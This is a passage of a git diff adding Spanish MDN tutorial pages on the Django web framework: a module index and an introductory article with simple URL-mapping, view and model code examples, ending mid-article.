href="https://docs.djangoproject.com/en/1.10/intro/tutorial03/">Escribiendo tu primera aplicación Django, parte 3: Vistas y Plantillas</a> (Django docs)</li> + <li><a href="https://docs.djangoproject.com/en/1.10/topics/http/urls/">Despachador URL</a> (Django docs)</li> + <li><a href="https://docs.djangoproject.com/en/1.10/topics/http/views/">Funciones de vista</a> (DJango docs)</li> + <li><a href="https://docs.djangoproject.com/en/1.10/topics/templates/">Plantillas</a> (Django docs)</li> + <li><a href="https://docs.djangoproject.com/en/1.10/howto/static-files/">Administrando archivos estáticos</a> (Django docs)</li> + <li><a href="https://docs.djangoproject.com/en/1.10/topics/http/shortcuts/#django.shortcuts.render">Funciones atajo de Django</a> (Django docs)</li> +</ul> + +<p>{{PreviousMenuNext("Learn/Server-side/Django/Admin_site", "Learn/Server-side/Django/Generic_views", "Learn/Server-side/Django")}}</p> + + + +<h2 id="En_este_módulo">En este módulo</h2> + +<ul> + <li><a href="/es/docs/Learn/Server-side/Django/Introducción">Introducción a Django</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/development_environment">Configurando un entorno de desarrollo Django</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Tutorial_local_library_website">Tutorial de Django: El sito web de la Biblioteca Local</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/skeleton_website">Tutorial de Django Parte 2: Creando el esqueleto de un sitio web</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Models">Tutorial de Django Parte 3: Usando modelos</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Admin_site">Tutorial de Django Parte 4: Sitio de administración de Django</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Home_page">Tutorial de Django Parte 5: Creando nuestra página de inicio</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Generic_views">Tutorial de Django Parte 6: Listas genéricas y vistas de detalle</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Sessions">Tutorial de Django Parte 7: Framework de sesiones</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Authentication">Tutorial de Django Parte 8: Autenticación de usuarios y permisos</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Forms">Tutorial de Django Parte 9: Trabajando con formularios</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Testing">Tutorial de Django Parte 10: Probando una aplicación web de Django</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Deployment">Tutorial de Django Parte 11: Poniendo Django en producción</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/web_application_security">Seguridad en aplicaciones web Django</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/django_assessment_blog">DIY Django mini blog</a><a href="/en-US/docs/Learn/Server-side/Django/django_assessment_blog"> </a></li> +</ul> diff --git a/files/es/learn/server-side/django/index.html b/files/es/learn/server-side/django/index.html new file mode 100644 index 0000000000..6a33f3e0be --- /dev/null +++ b/files/es/learn/server-side/django/index.html @@ -0,0 +1,66 @@ +--- +title: Framework Web Django (Python) +slug: Learn/Server-side/Django +tags: + - Aprendizaje + - Codificación de scripts + - Principiante + - Programación lado servidor + - Python + - django + - introducción +translation_of: Learn/Server-side/Django +--- +<div>Django es un framework web extremadamente popular y completamente funcional, escrito en Python. El módulo muestra por qué Django es uno de los frameworks de servidores web más populares, cómo configurar un entorno de desarrollo y cómo empezar a usarlo para crear tus propias aplicaciones web.</div> + +<h2 id="Requisitos_Previos">Requisitos Previos</h2> + +<p>Antes de comenzar este módulo no es necesario tener ningún conocimiento de Django. Tendrás que entender que son la programación web de lado servidor y los frameworks web, idealmente leyendo los temas en nuestro módulo <a href="/en-US/docs/Learn/Server-side/First_steps">Primeros pasos en la programación de lado servidor de sitios web.</a></p> + +<p>Se recomienda un conocimiento general de los conceptos de programación y <a href="/en-US/docs/Glossary/Python">Python</a>, pero no es esencial para entender los conceptos básicos</p> + +<div class="note"> +<p><strong>Nota</strong>: Python es uno de los lenguajes de programación más fáciles de leer y entender para los principiantes. Dicho esto, si desea comprender mejor este módulo, hay numerosos libros y tutoriales gratuitos disponibles en Internet (los nuevos programadores pueden querer ver la página de <a href="https://wiki.python.org/moin/BeginnersGuide/NonProgrammers">Python for Non Programmers</a> en el wiki de python.org.</p> +</div> + +<h2 id="Guías">Guías</h2> + +<dl> + <dt><a href="/es/docs/Learn/Server-side/Django/Introducci%C3%B3n">Introducción a Django</a></dt> + <dd>En este primer artículo de Django respondemos a la pregunta "¿Qué es Django?" y te dará una visión general de lo que hace a este framework web especial. Vamos a esbozar las principales características incluyendo algunas de las funciones avanzadas que no tendremos tiempo de cubrir en detalle en este módulo. También te mostraremos algunos de los principales bloques de construcción de una aplicación de Django, para darte una idea de lo que puedes hacer antes de que continúes configurándolo y comiences a jugar.</dd> + <dt><a href="https://developer.mozilla.org/es/docs/Learn/Server-side/Django/development_environment">Puesta en marcha de un entorno de desarrollo de Django</a></dt> + <dd>Ahora que sabes qué es y para qué sirve Django, te mostraremos cómo configurar y probar un entorno de desarrollo Django en Windows, Linux(Ubuntu), y Mac OS X. Cualquiera que sea el sistema operativo común que estés utilizando, este articulo deberia de ofrecerte lo necesario para iniciarte en el desarrollo de aplicaciones en Django.</dd> + <dt><a href="https://developer.mozilla.org/es/docs/Learn/Server-side/Django/Tutorial_local_library_website">Tutorial de Django: Sitio web "Biblioteca Local"</a></dt> + <dd>El primer articulo de nuestra serie de tutoriales explica lo que se aprenderá y proporciona una descripcion general del sitio web de ejemplo "Biblioteca Local" en el cual trabajaremos y evolucionaremos en articulos posteriores.</dd> + <dt><a href="/es/docs/Learn/Server-side/Django/skeleton_website">Tutorial de Django Parte 2: Creación del esqueleto de un sitio web</a></dt> + <dd>Este artículo muestra cómo crear el "esqueleto" de un proyecto de sitio web como base, que luego se puede rellenar con configuraciones, urls, modelos, vistas y plantillas específicas del sitio.</dd> + <dt><a href="/es/docs/Learn/Server-side/Django/Models">Tutorial de Django Parte 3: Uso de modelos</a></dt> + <dd>Este artículo muestra cómo definir modelos para el sitio web de la <em>Biblioteca Local</em> <span style='background-color: transparent; color: #333333; display: inline !important; float: none; font-family: "Open Sans",arial,x-locale-body,sans-serif; font-size: 16px; font-style: normal; font-variant: normal; font-weight: 400; letter-spacing: normal; text-align: left; text-decoration: none; text-indent: 0px; text-transform: none; white-space: normal;'>— los modelos representan las estructuras en las que queremos almacenar los datos de nuestra app, y también permiten a Django almacenar datos en una base por nosotros (y modificarlos más tarde). Se explica qué es un modelo, cómo se declara y alguno de los principales tipos de campo. También se muestra brevemente unas pocas de las múltiples formas con las que puedes acceder al modelo de datos.</span></dd> + <dt><a href="/es/docs/Learn/Server-side/Django/Admin_site">Tutorial de Django Parte 4: Sitio de Administración de Django</a></dt> + <dd>Ahora que hemos creado modelos para el sitio web de la <em>Biblioteca Local</em>, usaremos el sito de administración <span style='background-color: transparent; border-bottom-style: none; border-bottom-width: 0px; border-left-style: none; border-left-width: 0px; border-right-style: none; border-right-width: 0px; border-top-style: none; border-top-width: 0px; color: #333333; display: inline; float: none; font-family: "Open Sans",arial,x-locale-body,sans-serif; font-size: 16px; font-style: normal; font-variant: normal; font-weight: 400; letter-spacing: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; text-decoration: none; text-indent: 0px; text-transform: none; white-space: normal;'>de Django </span>para añadir algunos datos "reales" de libros. Primero te mostraremos cómo registrar los modelos con el sitio de administración, a continuación te mostraremos cómo iniciar sesión y crear algunos datos. Al final te mostramos algunas formas en las que puedes mejorar la presentación del sitio de administración.</dd> + <dt><a href="/es/docs/Learn/Server-side/Django/Home_page">Tutorial de Django Parte 5: Creación de tu página de inicio</a></dt> + <dd>Ahora estamos listos para añadir el código para presentar nuestra primera página completa — una página de inicio para la <em>Biblioteca Local</em> que muestra cuántos registros tenemos de cada tipo de modelo y proporciona una barra lateral con enlaces de navegación a otras páginas. A medida que avanzamos ganaremos experiencia práctica en la escritura de mapas URL y vistas, obtención de registros de la base de datos y la utilización de plantillas.</dd> + <dt><a href="/es/docs/Learn/Server-side/Django/Generic_views">Tutorial de Django Parte 6: Listas genéricas y vistas de detalle</a></dt> + <dd>Este tutorial extiende el sitio web de nuestra <em>Biblioteca Local</em> añadiendo listas y páginas de detalle de libros y autores. Aquí aprenderemos sobre vistas genéricas basadas en clases y se mostrará cómo pueden reducir la cantidad de código que tienes que escribir para casos de uso común. También nos adentraremos en la gestión de URL en gran detalle, mostrando cómo realizar un emparejamiento básico de patrones.</dd> + <dt><a href="/es/docs/Learn/Server-side/Django/Sessions">Tutorial de Django Parte 7: Framework de sesiones</a></dt> + <dd>Este tutorial extiende nuestro sitio web de <em>Biblioteca Local</em> añadiendo a nuestra página de inicio un contador de visitas basado en sesión. Este es un ejemplo relativamente simple, pero muestra de verdad cómo puedes usar el framework de sesión para proporcionar un comportamiento presistente para usuarios anónimos en tus propios sitios.</dd> + <dt><a href="/es/docs/Learn/Server-side/Django/Authentication">Tutorial de Django Parte 8: Autenticación y permisos de Usuario</a></dt> + <dd>En este tutorial te mostraremos cómo permitir a los usuarios iniciar sesión en tu sitio con sus propias cuentas y cómo controlar lo que pueden hacer y ver, basado en si han iniciado sesión o no y en sus <em>permisos</em>. Como parte de esta demostración extenderemos el sitio web de la <em>Biblioteca Local</em>, añadiendo páginas de inicio y cierre de sesión, y páginas específicas de usuario - y de personal - para ver libros que han sido prestados.</dd> + <dt><a href="/es/docs/Learn/Server-side/Django/Forms">Tutorial de Django Parte 9: Trabajo con formularios</a></dt> + <dd>En este tutorial te mostraremos cómo trabajar con <a href="/en-US/docs/Web/Guide/HTML/Forms">Formularios HTML</a> en Django, y en particular la forma más fácil de escribir formularios para crear, actualizar y borrar instancias de modelos. Como parte de esta demostración extenderemos el sitio web de la <em>Biblioteca Local</em> de manera que los bibliotecarios puedan renovar libros, y crear, actualizar y borrar autores usando sus propios formularios (en vez de usar la aplicación de administración).</dd> + <dt><a href="/es/docs/Learn/Server-side/Django/Testing">Tutorial de Django Parte 10: Probando una aplicación web Django</a></dt> + <dd>A medida que crecen los sitios web se vuelven más difíciles de probar a mano — no sólo hay más para probar, sino que además, a medida que las interacciones entre los componentes se vuelven más complejas, un pequeño cambio en un área puede suponer muchas pruebas adicionales para verificar su impacto en otras áreas. Una forma de mitigar estos problemas es escribir tests automatizados, que pueden ser ejecutados de manera fácil y fiable cada vez que hagas un cambio. Este tutorial muestra cómo automatizar la <em>unidad de pruebas</em> de tu sitio web usando el framework de pruebas de Django.</dd> + <dt><a href="/es/docs/Learn/Server-side/Django/Deployment">Tutorial de Django Parte 11: Desplegando Django a producción</a></dt> + <dd>Ahora que has creado (y probado) un impresionante sitio web para la <em>Biblioteca Local</em>, vas a querer instalarlo en un servidor web público de manera que pueda ser accedido por el personal y los miembros de la biblioteca a través de Internet. Este artículo proporciona una visión general de cómo podrías ir buscando un host para desplegar tu sitio web y lo que necesitas hacer para conseguir que tu sitio esté listo en producción.</dd> + <dt><a href="/es/docs/Learn/Server-side/Django/web_application_security">Seguridad de las aplicaciones web Django</a></dt> + <dd>Proteger los datos de los usuarios es una parte esencial de cualquier diseño de un sitio web. Previamente ya explicamos algunas de las amenazas de seguridad más comunes en el artículo <a href="https://developer.mozilla.org/en-US/docs/Web/Security">Seguridad Web</a> — este artículo proporciona una demostración práctica de cómo las protecciones integradas de Django gestionan estas amenazas.</dd> +</dl> + +<h2 id="Evaluaciones">Evaluaciones</h2> + +<p>La siguiente evaluación comprobará tu comprensión de cómo crear un sitio web usando Django, como se describe en las guías listadas arriba.</p> + +<dl> + <dt><a href="/es/docs/Learn/Server-side/Django/django_assessment_blog">Mini Blog Django Hazlo tu mismo</a></dt> + <dd>En esta evaluación usarás algo del conocimiento que has aprendido en este módulo para crear tu propio blog.</dd> +</dl> diff --git a/files/es/learn/server-side/django/introducción/index.html b/files/es/learn/server-side/django/introducción/index.html new file mode 100644 index 0000000000..484b311a2c --- /dev/null +++ b/files/es/learn/server-side/django/introducción/index.html @@ -0,0 +1,282 @@ +--- +title: Introducción a Django +slug: Learn/Server-side/Django/Introducción +tags: + - Aprendizaje + - CodigoScript + - Principiante + - Programación lado servidor + - Python + - django + - introducción +translation_of: Learn/Server-side/Django/Introduction +--- +<div>{{LearnSidebar}}</div> + +<div>{{NextMenu("Learn/Server-side/Django/development_environment", "Learn/Server-side/Django")}}</div> + +<p class="summary">En este primer artículo de Django responderemos la pregunta ¿Qué es Django? y daremos una visión general de lo que hace que este framework sea tan especial. Vamos a delinear las características principales, incluidas algunas de las funcionalidades avanzadas que no tendremos tiempo de cubrir con detalle en este módulo. Tambien mostraremos algunos de los componentes principales de una aplicación de Django. (aunque en este momento no cuentes con un entorno de desarrollo en el cual probarlo).</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">Pre requisitos:</th> + <td>Conocimientos basicos en informatica. Una comprensión general de <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/First_steps">programación del lado del servidor</a>, y en particular de los mecanimos de <a href="/en-US/docs/Learn/Server-side/First_steps/Client-Server_overview">interacciones cliente-servidor en los sitios web</a>.</td> + </tr> + <tr> + <th scope="row">Objetivos:</th> + <td>Familiarizarse con lo que es Django, que funcionalidad proporciona y los componentes principales de una aplicación Django.</td> + </tr> + </tbody> +</table> + +<h2 id="¿Qué_es_Django">¿Qué es Django?</h2> + +<p>Django es un framework web de alto nivel que permite el desarrollo rápido de sitios web seguros y mantenibles. Desarrollado por programadores experimentados, Django se encarga de gran parte de las complicaciones del desarrollo web, por lo que puedes concentrarte en escribir tu aplicación sin necesidad de reinventar la rueda. Es gratuito y de código abierto, tiene una comunidad próspera y activa, una gran documentación y muchas opciones de soporte gratuito y de pago.</p> + +<p>Django te ayuda a escribir software que es:</p> + +<dl> + <dt>Completo</dt> + <dd>Django sigue la filosofía "Baterías incluidas" y provee casi todo lo que los desarrolladores quisieran que tenga "de fábrica". Porque todo lo que necesitas es parte de un único "producto", todo funciona a la perfección, sigue principios de diseño consistentes y tiene una amplia y<a href="https://docs.djangoproject.com/en/1.10/"> actualizada documentación</a>.</dd> + <dt>Versátil</dt> + <dd>Django puede ser (y ha sido) usado para construir casi cualquier tipo de sitio web — desde sistemas manejadores de contenidos y wikis, hasta redes sociales y sitios de noticias. Puede funcionar con cualquier framework en el lado del cliente, y puede devolver contenido en casi cualquier formato (incluyendo HTML, RSS feeds, JSON, XML, etc). ¡El sitio que estás leyendo actualmente está basado en Django!<br> + <br> + Internamente, mientras ofrece opciones para casi cualquier funcionalidad que desees (distintos motores de base de datos , motores de plantillas, etc.), también puede ser extendido para usar otros componentes si es necesario.</dd> + <dt>Seguro</dt> + <dd>Django ayuda a los desarrolladores evitar varios errores comunes de seguridad al proveer un framework que ha sido diseñado para "hacer lo correcto" para proteger el sitio web automáticamente. Por ejemplo, Django, proporciona una manera segura de administrar cuentas de usuario y contraseñas, evitando así errores comunes como colocar informaciones de sesión en cookies donde es vulnerable (en lugar de eso las cookies solo contienen una clave y los datos se almacenan en la base de datos) o se almacenan directamente las contraseñas en un hash de contraseñas.<br> + <br> + <em>Un hash de contraseña es un valor de longitud fija creado al enviar la contraseña a una <a href="https://en.wikipedia.org/wiki/Cryptographic_hash_function">cryptographic hash function</a>. Django puede validar si la contraseña ingresada es correcta enviándola a través de una función hash y comparando la salida con el valor hash almacenado. Sin embargo debido a la naturaleza "unidireccional" de la función, incluso si un valor hash almacenado se ve comprometido es difícil para un atacante resolver la contraseña original.</em><br> + <br> + Django permite protección contra algunas vulnerabilidades de forma predeterminada, incluida la inyección SQL, scripts entre sitios, falsificación de solicitudes entre sitios y clickjacking (consulte <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/First_steps/Website_security">Seguridad de sitios web</a> para obtener más detalles sobre dichos ataques).</dd> + <dt>Escalable</dt> + <dd>Django usa un componente basado en la arquitectura “<a href="https://en.wikipedia.org/wiki/Shared_nothing_architecture">shared-nothing</a>” (cada parte de la arquitectura es independiente de las otras, y por lo tanto puede ser reemplazado o cambiado si es necesario). Teniendo en cuenta una clara separación entre las diferentes partes significa que puede escalar para aumentar el tráfico al agregar hardware en cualquier nivel: servidores de cache, servidores de bases de datos o servidores de aplicación. Algunos de los sitios más concurridos han escalado a Django para satisfacer sus demandas (por ejemplo, Instagram y Disqus, por nombrar solo dos).</dd> + <dt>Mantenible</dt> + <dd>El código de Django está escrito usando principios y patrones de diseño para fomentar la creación de código mantenible y reutilizable. En particular, utiliza el principio No te repitas "Don't Repeat Yourself" (DRY) para que no exista una duplicación innecesaria, reduciendo la cantidad de código. Django también promueve la agrupación de la funcionalidad relacionada en "aplicaciones" reutilizables y en un nivel más bajo, agrupa código relacionado en módulos (siguiendo el patrón <a href="/en-US/Apps/Fundamentals/Modern_web_app_architecture/MVC_architecture">Model View Controller (MVC)</a>).</dd> + <dt>Portable</dt> + <dd>Django está escrito en Python, el cual se ejecuta en muchas plataformas. Lo que significa que no está sujeto a ninguna plataforma en particular, y puede ejecutar sus aplicaciones en muchas distribuciones de Linux, Windows y Mac OS X. Además, Django cuenta con el respaldo de muchos proveedores de alojamiento web, y que a menudo proporcionan una infraestructura específica y documentación para el alojamiento de sitios de Django.</dd> +</dl> + +<h2 id="¿De_dónde_vino">¿De dónde vino?</h2> + +<p>Django fue desarrollado inicialmente entre 2003 y 2005 por un equipo que era responsable de crear y mantener sitios web de periódicos. Después de crear varios sitios, el equipo empezó a tener en cuenta y reutilizar muchos códigos y patrones de diseño comunes. Este código común se convirtió en un framework web genérico, que fue de código abierto, conocido como proyecto "Django" en julio de 2005.</p> + +<p>Django ha continuado creciendo y mejorando desde su primer hito, el lanzamiento de la versión (1.0) en septiembre de 2008, hasta el reciente lanzamiento de la versión 1.11 (2017). Cada lanzamiento ha añadido nuevas funcionalidades y solucionado errores, que van desde soporte de nuevos tipos de bases de datos, motores de plantillas, caching, hasta la adición de funciones genéricas y clases de visualización (que reducen la cantidad de código que los desarrolladores tiene que escribir para numerosas tareas de programación).</p> + +<div class="note"> +<p><strong>Nota</strong>: Consulte las <span style="line-height: 1.5;"><a href="https://docs.djangoproject.com/en/1.10/releases/">notas de lanzamiento</a></span><span style="line-height: 1.5;"> en el sitio web de Django para ver qué ha cambiado en las versiones recientes y cúanto trabajo se lleva a cabo para mejorar Django.</span></p> +</div> + +<p>Django es ahora un próspero proyecto colaborativo de código abierto, con miles de usuarios y contribuidores. Mientras que todavía presenta algunas características que reflejan su origen, Django ha evolucionado en un framework versátil que es capaz de desarrollar cualquier tipo de sitio web.</p> + +<h2 id="¿Qué_tan_Popular_es_Django">¿Qué tan Popular es Django?</h2> + +<p>No hay una medida de popularidad definitiva y disponible de inmediato de "frameworks de lado servidor" (aunque sitios como <a href="http://hotframeworks.com/">Hot Frameworks</a> intentan evaluar la popularidad usando mecanismos como contar el número de proyectos en Github y preguntas en StackOverflow de cada plataforma). Una pregunta mejor es si Django es lo "suficientemente popular" para evitar los problemas de las plataformas menos populares. ¿Continúa evolucionando? ¿Puedes conseguir la ayuda que necesitas? ¿Hay alguna posibilidad de que consigas un trabajo pagado si aprendes Django?</p> + +<p>De acuerdo con el número de sitios que usan Django, el número de gente que contribuye al código base, y el número de gente que proporciona soporte tanto libre como pagado, podemos entonces decir que sí, !Django es un framework popular!</p> + +<p>Los sitios de alto nivel que usan Django incluyen: Disqus, Instagram, Knight Foundation, MacArthur Foundation, Mozilla, National Geographic, Open Knowledge Foundation, Pinterest y Open Stack (fuente: <a href="https://www.djangoproject.com/">Página de inicio de Django</a>).</p> + +<h2 id="¿Es_Django_dogmático">¿Es Django dogmático?</h2> + +<p>Los frameworks web frecuentemente se refieren a sí mismos como "dogmáticos" ("<em>opinionated</em>") o "no dogmáticos" ("<em>unopinionated</em>").</p> + +<p>Los frameworks dogmáticos son aquellos que opinan acerca de la "manera correcta" de gestionar cualquier tarea en particular. Ofrecen soporte para el desarrollo rápido en un <em>dominio en particular</em> (resolver problemas de un tipo en particular) porque la manera correcta de hacer cualquier cosa está generalmente bien comprendida y bien documentada.</p> + +<p>Sin embargo pueden ser menos flexibles para resolver problemas fuera de su dominio principal, y tienden a ofrecer menos opciones para elegir qué componentes y enfoques pueden usarse.</p> + +<p>Los framewoks no dogmáticos, por contra, tienen muchas menos restricciones sobre el modo mejor de unir componentes para alcanzar un objetivo, o incluso qué componentes deberían usarse. Hacen más fácil para los desarrolladores usar las herramientas más adecuadas para completar una tarea en particular, si bien al coste de que necesitas encontrar esos componentes por tí mismo.</p> + +<p>Django es "dogmático pero no del todo" y por tanto entrega "lo mejor de ambos mundos". Proporciona un conjunto de componentes para gestionar la mayoría de las tareas de desarrollo web y una (o dos) maneras preferidas de usarlos. Sin embargo, la arquitectura desacoplada de Django implica que puedes normalmente escoger y seleccionar de entre numerosas opciones diferentes o añadir soporte para otras completamente nuevas, si lo deseas.</p> + +<h2 id="¿Qué_pinta_tiene_el_código_de_Django">¿Qué pinta tiene el código de Django?</h2> + +<p>En un sitio web tradicional basado en datos, una aplicación web espera peticiones HTTP del explorador web (o de otro cliente). Cuando se recibe una petición la aplicación elabora lo que se necesita basándose en la URL y posiblemente en la información incluida en los datos <code>POST</code> o <code>GET</code>. Dependiendo de qué se necesita quizás pueda entonces leer o escribir información desde una base de datos o realizar otras tareas requeridas para satisfacer la petición. La aplicación devolverá a continuación una respuesta al explorador web, con frecuencia creando dinámicamente una página HTML para que el explorador la presente insertando los datos recuperados en marcadores de posición dentro de una plantilla HTML.</p> + +<p>Las aplicaciones web de Django normalmente agrupan el código que gestiona cada uno de estos pasos en ficheros separados:</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13931/basic-django.png" style="border-style: solid; border-width: 1px; display: block; margin: 0px auto;"></p> + +<ul> + <li><strong>URLs: </strong>Aunque es posible procesar peticiones de cada URL individual vía una función individual, es mucho más sostenible escribir una función de visualización separada para cada recurso. Se usa un mapeador URL para redirigir las peticiones HTTP a la vista apropiada basándose en la URL de la petición. El mapeador URL se usa para redirigir las peticiones HTTP a la vista apropiada basándose en la URL de la petición. El mapeador URL puede también emparejar patrones de cadenas o dígitos específicos que aparecen en una URL y los pasan a la función de visualización como datos.</li> + <li><strong>Vista (View):</strong> Una vista es una función de gestión de peticiones que recibe peticiones HTTP y devuelve respuestas HTTP. Las vistas acceden a los datos que necesitan para satisfacer las peticiones por medio de <em>modelos</em>, y delegan el formateo de la respuesta a las <em>plantillas</em> (<em>"templates"</em>).</li> + <li><strong>Modelos (Models):</strong> Los Modelos son objetos de Python que definen la estructura de los datos de una aplicación y proporcionan mecanismos para gestionar (añadir, modificar y borrar) y consultar registros en la base de datos.</li> + <li><strong>Plantillas (Templates):</strong> una plantilla (template) es un fichero de texto que define la estructura o diagrama de otro fichero (tal como una página HTML), con marcadores de posición que se utilizan para representar el contenido real. Una <em>vista</em> puede crear dinámicamente una página usando una plantilla, rellenandola con datos de un <em>modelo</em>. Una plantilla se puede usar para definir la estructura de cualquier tipo de fichero; ¡no tiene porqué ser HTML!</li> +</ul> + +<div class="note"> +<p><strong>Nota</strong>: Django se refiere a este tipo de organización como arquitectura Modelo Vista Plantilla "Model View Template (MVT)". Tiene muchas similaridades con la arquitectura más familiar <a href="/en-US/docs/Web/Apps/Fundamentals/Modern_web_app_architecture/MVC_architecture">Model View Controller</a>. </p> +</div> + +<ul> +</ul> + +<p>Las secciones de más abajo te darán una idea de la pinta que tienen estas partes principales de una aplicación Django (entraremos en más detalles más adelante en el curso, una vez que hallamos configurado un entorno de desarrollo).</p> + +<h3 id="Enviar_la_petición_a_la_vista_correcta_urls.py">Enviar la petición a la vista correcta (urls.py)</h3> + +<p>Un mapeador URL está normalmente almacenado en un fichero llamado <strong>urls.py</strong>. En el ejemplo más abajo el mapeador (<code>urlpatterns</code>) define una lista de mapeos entre <em>patrones</em> URL específicos y sus correspondientes funciones de visualización. Si se recibe una Petición HTTP que tiene una URL que empareja un patrón específico (ej. <code>r'^$'</code>, más abajo) se realizará una llamada y se pasará la petición a la función de visualización asociada (ej. <code>views.index</code>).</p> + +<pre>urlpatterns = [ + <strong>url(r'^$', views.index),</strong> + url(r'^([0-9]+)/$', views.best), +] +</pre> + +<div class="note"> +<p><strong>Nota</strong>: Un poco de Python:</p> + +<ul> + <li>El objeto <code>urlpatterns</code> es una lista de funciones <code>url()</code>. En Python, las listas se definen usando using corchetes. Los elementos se separan con comas y pueden tener una <a href="https://docs.python.org/2/faq/design.html#why-does-python-allow-commas-at-the-end-of-lists-and-tuples">coma colgante opcional</a>. Por ejemplo: <code>[item1, item2, item3,]</code>.</li> + <li>La extraña sintaxis de los patrones se conoce como <em>"expresión regular"</em>. ¡Hablaremos sobre ellas en un artículo posterior!.</li> + <li>El segundo argumento de <code>url()</code> es otra función a la que se llamará cuando se encuentre un patrón que coincida. La notación <code>views.index</code> indica que la función se llama <code>index()</code> y se puede encontrar en un módulo llamado <code>views</code> (es decir, dentro del fichero llamado <code>views.py</code>).</li> +</ul> +</div> + +<h3 id="Manejar_la_petición_views.py">Manejar la petición (views.py)</h3> + +<p>Las vistas son el corazón de la aplicación web, recibiendo peticiones HTTP de los clientes web y devolviendo respuestas HTTP. Entre éstas, organizan los otros recursos del framework para acceder a las bases de datos, consolidar plantillas, etc.</p> + +<p>El ejemplo más abajo muestra una mínima función de visualización <code>index()</code>, que podría ser llamada por nuestro mapeador de URL de la sección anterior. Al igual que todas las funciones de visualización, recibe un objeto <code>HttpRequest</code> como parámetro (<code>request</code>) y devuelve un objeto <code>HttpResponse</code>. En este caso no hacemos nada con la petición y nuestra respuesta simplemente devuelve una cadena insertada de forma fija en el código. Te mostraremos una petición que hace algo más interesante en la siguiente sección.</p> + +<pre class="brush: python">## fichero: views.py (funciones de visualizacion de Django) +from django.http import HttpResponse + +def index(request): + # Obtener un HttpRequest - el parametro peticion + # Realizar operaciones usando la infomracion de la peticion. + # Devolver una HttpResponse + return HttpResponse('!Hola desde Django!') +</pre> + +<div class="note"> +<p><strong>Nota</strong>: Un poco de Python:</p> + +<ul> + <li><a href="https://docs.python.org/3/tutorial/modules.html">Módulos Python</a> son "bibliotecas" de funciones, almacenadas en ficheros separados, que podríamos querer usar en nuestro código. Aquí importamos sólo el objeto <code>HttpResponse</code> desde el módulo <code>django.http</code> de manera que podamos usarlo en nuestra vista: <code>from django.http import HttpResponse</code>. Hay también otras formas de importar algunos o todos los objetos de un módulo.</li> + <li>Las funciones se declaran usando la plabra clave <code>def</code> tal como se muestra arriba, con parámetros con nombre listados entre paréntesis después del nombre de la función; la línea entera termina con dos puntos. Fíjate como las líneas siguientes están todas ellas <strong>indentadas</strong>. La indentación es importante, ya que especifica que las líneas de código están dentro de ese bloque en particular (la indentación obligatoria es una característica clave de Python, y es una razón por la que el código de Python es tan fácil de leer.</li> +</ul> +</div> + +<ul> +</ul> + +<p>Las vistas se almacenan normalmente en un fichero llamado <strong>views.py</strong>.</p> + +<h3 id="Definir_modelos_de_datos_models.py">Definir modelos de datos (models.py)</h3> + +<p>Las aplicaciones web Django manejan y consultan datos a través de objetos Python referidos como modelos. Los modelos definen la estructura de los datos almacenados, incluyendo los <em>tipos</em> de campos y posiblemente también su tamaño máximo, los valores por defecto, la lista de selección de opciones, texto de ayuda para documentación, etiquetas de texto para formularios, etc. La definición del modelo es independiente de la base de datos subyacente — puedes elegir una entre varias como parte de la configuración de tu proyecto. Una vez que has seleccionado qué base de datos quieres usar, no necesitas en absoluto comunicarte con ella directamente — sólo hay que escribir la estructura de la base y otro código y Django se encarga por tí de todo el trabajo sucio de comunicarse con la base de datos.</p> + +<p>El fragmento de código de más abajo muestra un modelo de Django muy simple para un objeto <code>Team</code>. La clase <code>Team</code> deriva de la clase de django <code>models.Model</code>. Define el nombre de un equipo y su nivel como campos de tipo carácter y especifica un número máximo de caracteres que pueden ser almacenados en cada registro. El <code>team_level</code> puede ser un valor de entre varios, de manera que lo definimos como un campo de opciones y proporcionamos un mapeo entre opciones para mostrar y datos para almacenar, junto con un valor por defecto.</p> + +<pre class="brush: python"># filename: models.py + +from django.db import models + +class Team(models.Model): + team_name = models.CharField(max_length=40) + + TEAM_LEVELS = ( + ('U09', 'Under 09s'), + ('U10', 'Under 10s'), + ('U11', 'Under 11s'), + ... #list other team levels + ) + team_level = models.CharField(max_length=3,choices=TEAM_LEVELS,default='U11') +</pre> + +<div class="note"> +<p><strong>Nota</strong>: Un poco de Python:</p> + +<ul> + <li>Python soporta "programación orientada a objetos", un estilo de programación donde organizamos nuestro código en objetos, que incluyen datos relacionados y funciones para operar con los datos. Los objetos también pueden heredarse/extenderse/derivarse de otros objetos, permitiendo que se comparta un comportamiento común entre objetos relacionados. En Python usamos la palabra clave <code>class</code> para definir el "prototipo" de un objeto. Podemos crear múltiples <em>instancias</em> específicas de ese tipo de objeto basado en el modelo especificado en la clase.<br> + Así por ejemplo, aquí tenemos una clase <code>Team</code>, que deriva de la clase <code>Model</code>. Esto significa que es un modelo y que contendrá los métodos de un modelo, pero también podemos darle características especializadas propias. En nuestro modelo definimos los campos de nuestra base que necesitaremos para almacenar nuestros datos, dándoles nombres específicos. Django usa estas definiciones, incluídos los nombres de los campos para crear la base subyacente.</li> +</ul> +</div> + +<h3 id="Consultar_datos_views.py">Consultar datos (views.py)</h3> + +<p>El modelo de Django proporciona una API de consulta simple para buscar en la base de datos. Esta puede buscar concidencias contra varios campos al mismo tiempo usando diferentes criterios (ej. exacto, insensible a las mayúsculas, mayor que, etc.), y puede soportar sentencias complejas (por ejemplo, puedes especificar que se busque equipos U11 que tengan un nombre de equipo que empiece por "Fr" o termine con "al").</p> + +<p>El fragmento de código de más abajo muestra una función de visualización (manejador de recursos) para presentar en pantalla todos nuestros equipos 